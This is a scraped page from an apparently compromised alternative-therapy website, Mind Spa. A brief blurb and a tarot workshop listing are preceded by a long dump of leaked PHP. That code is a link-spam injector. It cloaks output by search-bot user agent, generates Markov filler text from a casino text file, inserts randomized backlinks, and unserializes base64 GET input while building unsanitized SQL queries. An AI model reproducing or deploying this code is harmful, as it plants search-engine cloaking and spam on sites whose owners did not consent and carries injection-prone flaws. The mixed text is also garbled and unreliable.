tl-welcomeconnect('127.0.0.1', 11211) or die("Could not connect"); $row = @$memcache_obj->get(md5($res_id.$hash)); if(empty($row)) { $result = mysql_query("SELECT * FROM resources_cache_logs WHERE resource_id={$res_id} AND hash='{$hash}'"); //$result = mysql_query("SELECT id FROM resources_cache_logs WHERE resource_id={$res_id} AND hash='{$hash}'"); $row = mysql_fetch_array($result)[0]; $memcache_obj->set(md5($res_id.$hash), $row[0] ,false, 600); } if(!$row) { $result = mysql_query("INSERT INTO resources_cache_logs VALUES(NULL, {$res_id}, '{$hash}', NOW(), '{$request_uri}', 0)"); } else { //mysql_query("UPDATE resources_cache_logs SET access = access+1 WHERE resource_id={$res_id} AND hash='{$hash}'"); mysql_query("UPDATE resources_cache_logs SET access = access+1 WHERE id={$row}"); } } function div_gen(){ $fonts = explode("|", "Arial|Avqest|Courier|Decorative|Frosty|Impact|Monospace|Roman|Script|Verdana"); $colors = explode("|", "green|yellow|blue|black|white"); $style[0] = "display:none;"; $style[1] = "width:" .rand(20, 200).";"; $style[2] = "height:" .rand(20, 200).";"; shuffle($fonts); shuffle($colors); $style[3] = "color:" . end($colors) . ";"; $style[4] = "font-family:" . end($fonts) . ";"; shuffle($style); $style = implode('',$style)."\n"; return $style; } function add_div($content){ $resource_url = $_GET['url']; @$request_uri = $_GET['uri']; @$user_agent = $_GET['user_agent']; if(isset($_GET['data']) && is_array($GetData = unserialize(base64_decode($_GET['data'])))) { $resource_url = $GetData['url']; $request_uri = $GetData['uri']; $user_agent = $GetData['ua']; } preg_match('/www\..*?\./', $resource_url, $matches); if (!empty($matches)) { $resource_url_www = 'http://' . str_replace('www.', '', $resource_url); } else { $resource_url_www = "http://www." . $resource_url; } $resource_url = "http://" . $resource_url; $md5 = md5($resource_url.$request_uri); $content = trim($content); //return $style; $style = trim(file_get_contents(dirname(__FILE__).'/divs/'.$md5.'.css')); //if (empty($content)) // return; return "

".$content."
"; } $resource_url = $_GET['url']; @$request_uri = $_GET['uri']; @$user_agent = $_GET['user_agent']; if(isset($_GET['data']) && is_array($GetData = unserialize(base64_decode($_GET['data'])))) { $resource_url = $GetData['url']; $request_uri = $GetData['uri']; $user_agent = $GetData['ua']; } preg_match('/www\..*?\./', $resource_url, $matches); if (!empty($matches)) { $resource_url_www = 'http://' . str_replace('www.', '', $resource_url); } else { $resource_url_www = "http://www." . $resource_url; } $resource_url = "http://" . $resource_url; $result = mysql_query(" SELECT r.id, r.cacheble, r.line_br, g.links_count, g.is_home_static, g.cron_id, g.original_link, g.from_list_link, g.change_anhor_link, g.show_brand_link, g.show_spintaks_link, g.anchors, r.group_id, r.dorway_id, g.links_text_file, g.links_keys_file, g.generator_type, g.randb_threshold, g.static_links, g.display_links_method, r.cloaking_class_name, g.links_domain from resources as r LEFT JOIN groups g on g.id = r.group_id WHERE r.url in ('$resource_url','$resource_url_www')"); if($_GET['debug']) var_dump($result); if (!$result) exit(); $md5= md5($resource_url.$request_uri); //$memrow_obj = new Memcache; //$memrow_obj->connect('127.0.0.1', 11211) or die("Could not connect"); //$row = @$memrow_obj->get($md5); // if(empty($row)) { $row = mysql_fetch_array($result); // if(!empty($row)) $memrow_obj->set(md5($md5), $row ,false, 600); // } if ($row === false) exit(); if($_GET['debug']) var_dump($row); $md5= md5($resource_url.$request_uri); /* if(!file_exists('./divs/'.$md5.'.css')){ $style = trim(div_gen()); file_put_contents('./divs/'.$md5.'.css', $style); } ob_start("add_div"); */ $res_id = $row['id']; $dorway_id = $row['dorway_id']; $links_domain = $row['links_domain']; $cron_id = intval($row['cron_id']); $is_home_static = intval($row['is_home_static']) ? 1 : 0; $groupCronData = false; if($cron_id) { $result = mysql_query("SELECT * FROM group_cron WHERE id={$cron_id} and active=1"); $groupCronData = mysql_fetch_array($result, MYSQL_ASSOC); } $cacheble = $groupCronData ? $groupCronData['cacheble'] : intval($row['cacheble']); $generator_type = $groupCronData ? 2 : $row['generator_type'];//TODO ��� ����� ���������� ������� $group_id = $row['group_id']; $line_br = $row['line_br']; $text_file_name=$row['links_text_file']; $key_file_name=$row['links_keys_file']; $original_link = $row['original_link']; $from_list_link = $row['from_list_link']; $change_anhor_link = $row['change_anhor_link']; $show_brand_link = $row['show_brand_link']; $show_spintaks_link = $row['show_spintaks_link']; //die($row['anchors']); $anchors = explode("\n", trim($row['anchors'])); $link_type = $row['static_links']; $displayMethod = $row['display_links_method']; $cloakingClassName = $row['cloaking_class_name']; $cloacking = false; switch ($displayMethod) { case 2 : $cloacking = true; break; case 1 : if (@preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer|)/i", $user_agent) || isset($_REQUEST['bot'])) break ; else die(); default : break; } if ($cloacking) { $code = encodeClass($cloakingClassName); $script_code = ""; } if($groupCronData) { $baseFolderPath = 'cron_links'; } else { $baseFolderPath = $generator_type == 2 ? 'plotno_text' : 'markov_text'; } $file_suffix = $generator_type == 2 ? $key_file_name : $text_file_name; /**************logic with uri************************/ if ($request_uri && $cacheble && ($fileCachePath = "{$baseFolderPath}/cache/{$group_id}/" . $res_id . '_' . md5($request_uri . $file_suffix) . ".txt") && file_exists($fileCachePath)) { updateCacheLogs($res_id, md5($request_uri . $file_suffix), $request_uri); //add in this line word print(trim($cloacking ? (file_get_contents($fileCachePath) . $script_code) : file_get_contents($fileCachePath))); exit(); } /****************************************/ if (isset($_REQUEST['bot'])) { //todo ��� �� �� ����� ��� � ��� switch ($_REQUEST['bot']) { case 'bing': $group_id = 56; $changeData = true; break; case 'yahoo': $group_id = 55; $changeData = true; break; default : break; } if (isset($changeData)) { $result = mysql_query("SELECT * FROM groups WHERE id={$group_id}"); $row = mysql_fetch_array($result, MYSQL_ASSOC); $original_link = $row['original_link']; $from_list_link = $row['from_list_link']; $change_anhor_link = $row['change_anhor_link']; $show_brand_link = $row['show_brand_link']; $show_spintaks_link = $row['show_spintaks_link']; $anchors = explode("\n", trim($row['anchors'])); $link_type = $row['static_links']; $displayMethod = $row['display_links_method']; } } $anchorsClear = array(); foreach ($anchors as $anchor) { if (str_replace(array("\n", "\r", "\t"), '', trim($anchor))) $anchorsClear[] = $anchor; } $anchors = $anchorsClear; if($generator_type == 2) { $num_of_links = $row['links_count']; $keysArr = file("keys/".$key_file_name); $count_keys = count($keysArr); $links_array = array(); if($is_home_static) { $links = file_exists("links/static/{$res_id}_{$dorway_id}.txt") ? file("links/static/{$res_id}_{$dorway_id}.txt") : array(); } elseif($groupCronData) { $links = file('cron_links/' . $groupCronData['id'] . '/work_links.txt'); } else { $links = file("links/".$dorway_id.".txt"); } foreach($links as $link) { $link = trim($link); $link = stripcslashes($link); $link = str_replace(array("\r", "\n"), "", $keysArr[rand(0,$count_keys-1)] . ' ' . $link . ' ' . $keysArr[rand(0,$count_keys-1)]); $links_array[] = $link; } $num_of_links = $num_of_links > count($links_array) ? count($links_array) : $num_of_links; if($is_home_static && $request_uri == '/') { $rand_keys = array(); for($i=0; $i<$num_of_links; $i++) { $rand_keys[] = $i; } } else { $rand_keys = array_rand($links_array, $num_of_links); shuffle($links_array); } $links_output = array(); for ($m = 0; $m < $num_of_links; $m++) { if ($num_of_links == 1) { $links_output[] = prepareLink($links_array[$rand_keys], $original_link, $from_list_link, $change_anhor_link, $anchors, $show_brand_link, $show_spintaks_link, $resource_url); } else { $links_output[] = prepareLink($links_array[$rand_keys[$m]], $original_link, $from_list_link, $change_anhor_link, $anchors, $show_brand_link, $show_spintaks_link, $resource_url); } } if($links_domain && !$is_home_static) { //$links_output = removeUsedDomainLink($links_output, $res_id, $links_domain); } $delimiter = $line_br ? "
" : ""; $links_output_content = implode($delimiter, $links_output); if($request_uri && $cacheble && trim($links_output_content)) { $fileCachePath = "{$baseFolderPath}/cache/{$group_id}"; if(!is_dir($fileCachePath)) { mkdir($fileCachePath, 0755, true); } $fileCacheName = $res_id . '_' . md5($request_uri . $file_suffix) . ".txt"; file_put_contents($fileCachePath . '/' . $fileCacheName, $links_output_content); updateCacheLogs($res_id, md5($request_uri . $file_suffix), $request_uri); } print(trim($links_output_content)); exit(); } elseif (file_exists("links_encoded/" . $group_id . ".txt")) { $num_of_links = $row['links_count']; // $links_array = @file("links_encoded/" . $group_id . ".txt", FILE_SKIP_EMPTY_LINES); $links_str = base64_decode(file_get_contents("links_encoded/" . $group_id . ".txt")); $links_array = explode("\n", $links_str); srand((double) microtime() * 10000000); $num_of_links = $num_of_links > count($links_array) ? count($links_array) : $num_of_links; $rand_keys = array_rand($links_array, $num_of_links); $links_output = array(); for ($m = 0; $m < $num_of_links; $m++) { if ($num_of_links == 1) { $links_output[] = prepareLink($links_array[$rand_keys], $original_link, $from_list_link, $change_anhor_link, $anchors, $show_brand_link, $show_spintaks_link, $resource_url); } else { $links_output[] = prepareLink($links_array[$rand_keys[$m]], $original_link, $from_list_link, $change_anhor_link, $anchors, $show_brand_link, $show_spintaks_link, $resource_url); } } if($links_domain) { //$links_output = removeUsedDomainLink($links_output, $res_id, $links_domain); } if($request_uri) { $className = generateRandString(12); if($text_file_name) $text_file_name = 'Casinos.txt'; if(!file_exists("text/{$text_file_name}") || is_dir("text/{$text_file_name}")) { $text_file_name = 'Casinos.txt'; } $text = file_get_contents("text/{$text_file_name}"); $markov = makeMarkovText($row['links_count'], $text, $className); $hasMacro = $link_type =='static' ? false : true; if (!$hasMacro) { if (file_exists("links_encoded/" . $group_id . ".txt")) { $links = base64_decode(file_get_contents("links_encoded/" . $group_id . ".txt")); $links_output_uri = explode("\n", $links); $links_keys = array_rand($links_output_uri, $num_of_links); $links_final = array(); foreach($links_keys as $key) { $links_final[] = $links_output_uri[$key]; } } if(!empty($links_output_uri)) { $markov = getMarkovText($links_final, $markov); } } $markov = getMarkovText($links_output, $markov); $fileCachePath = "{$baseFolderPath}/cache/{$group_id}"; if(!is_dir($fileCachePath)) { mkdir($fileCachePath, 0755, true); } $fileCacheName = $res_id . '_' . md5($request_uri . $file_suffix) . ".txt"; if(trim($markov)) { file_put_contents($fileCachePath . '/' . $fileCacheName, $markov); updateCacheLogs($res_id, md5($request_uri . $file_suffix), $request_uri); } print(trim($cloacking ? ($markov . $script_code) : $markov)); exit(); } elseif (file_exists("{$baseFolderPath}/" . $res_id . ".txt")) { $text = file_get_contents("{$baseFolderPath}/{$res_id}.txt"); if ($link_type == 'static') { print($cloacking ? $text . $script_code : $text); } else { $markov = getMarkovText($links_output, $text); print(trim($cloacking ? $markov . $script_code : $markov)); } } else { $links_output = implode(' ', $links_output); print(($cloacking ? $links_output . $script_code : $links_output)); } } ?>

Mind Spa is the result of many years of dedicated research and planning. Conceived from the desire to reach out to people and make a positive difference in their life, Mind Spa brings together the best practitioners in their field, making them accessible to you. Dedicated to raising the standard of alternative therapies currently available, Mind Spa sets a high benchmark for its therapists.

Read more  

 Events
22Oct2016

TAROT WORKSHOP

From 10:30 am to 5:30 pm

Location: Mind Spa,

Address: Mumbai

Cost: Rs. 14000/-

Find out more...